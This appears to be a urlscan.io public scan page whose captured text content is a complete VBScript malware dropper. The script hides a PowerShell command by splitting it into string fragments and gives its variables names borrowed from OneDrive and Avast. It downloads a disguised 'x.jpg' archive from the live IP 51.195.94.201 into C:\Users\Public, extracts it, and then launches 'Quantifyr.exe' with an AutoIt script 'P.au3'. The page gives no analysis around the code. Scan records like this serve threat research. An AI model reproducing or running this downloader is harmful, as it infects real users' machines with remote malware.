51.195.94.201 Open in urlscan Pro
51.195.94.201  Public Scan

Form analysis
0 forms found in the DOM

Text Content

Dim OneDrive
Dim Shell
Dim AvastUI
Dim Style
Dim Wait

Set Shell = CreateObject("WScript.Shell")
AvastUI = "powershell.exe Start-BitsTransfer" 
AvastUI = AvastUI & " -Source 'http://51.19"
AvastUI = AvastUI & "5.94.201:222/x.jpg'"
AvastUI = AvastUI & " -Destinat"
AvastUI = AvastUI & "ion 'C:\Users\Public"
AvastUI = AvastUI & "\bbbb.zip';"
AvastUI = AvastUI & "Expand-Archiv"
AvastUI = AvastUI & "e -Path 'C:\Users\Public\"
AvastUI = AvastUI & "bbbb.zip"
AvastUI = AvastUI & "' -Des"
AvastUI = AvastUI & "tination"
AvastUI = AvastUI & "Path 'C:\User"
AvastUI = AvastUI & "s\Public\'"
Style = 0
Wait = True

Set OneDrive = Shell
OneDrive.Run AvastUI, Style, Wait

WScript.Sleep 3000

filePath = "C:\Users\Public\Quantifyr.exe"
parameter = "C:\Users\Public\P.au3"
shell.Run """" & filePath & """ """ & parameter & """"